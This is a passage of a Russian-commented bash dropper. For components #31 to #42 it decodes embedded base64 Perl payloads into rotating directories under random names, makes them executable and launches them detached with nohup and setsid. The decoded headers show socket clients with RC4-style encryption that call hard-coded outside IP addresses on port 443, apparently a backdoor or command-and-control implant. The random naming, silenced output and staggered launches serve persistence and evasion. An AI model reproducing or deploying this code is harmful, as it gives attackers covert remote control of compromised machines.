    echo "[RUNNER] Компонент #31 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #31 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 32 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4xODEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15
ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw
b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24y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0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #32 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #32 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 33 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzM2LjI1NS45OC4xNTInOwpteSAkcG9ydCA9IDQ0MzsKCm15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ICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #33 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #33 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 34 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4xODInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15
ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw
b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g
MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk
c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K
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #34 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #34 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 35 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4xODMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJ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YnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #35 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #35 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 36 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urand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DOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #36 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #36 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 37 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4xODUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2Nye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wgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #37 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #37 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 38 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1)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SAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0
OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh
LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy
ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #38 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #38 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 39 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4xODcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KE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sIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #39 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #39 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 40 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0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N2KCRzb2NrZXRhcnJbMF0sICRkYXRh
LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy
ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #40 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #40 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 41 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250
bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0
ID0gJzYyLjYwLjEzMS4xODknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi
IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs
ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt
eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt
eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8p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gkg
Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr
KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4
aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg
XCRwb3J0KTsK
BINARY_EOF
chmod +x "$EXTRACTED_FILE"
RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH)
# Определяем тип файла по первой строке (shebang)
first_line=$(head -n 1 "$EXTRACTED_FILE")
if [[ "$first_line" == *"perl"* ]]; then
    echo "[RUNNER] Компонент #41 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) 
else
    echo "[RUNNER] Компонент #41 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..."
    (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) 
fi

if [ "$first_run" = true ]; then first_run=false; else
    echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..."
    sleep $PAUSE_SECONDS; fi

# --- Подготовка и запуск компонента 42 ---
DEPLOY_DIR=${candidate_dirs[$dir_index]}
PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8)
EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME"
dir_index=$(((dir_index + 1) % dir_count))
base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF'
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz
ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX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yBsYXN0OyB9CgkJCSAKCQkJICRy
ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ
CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n
NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg
MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg
MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp
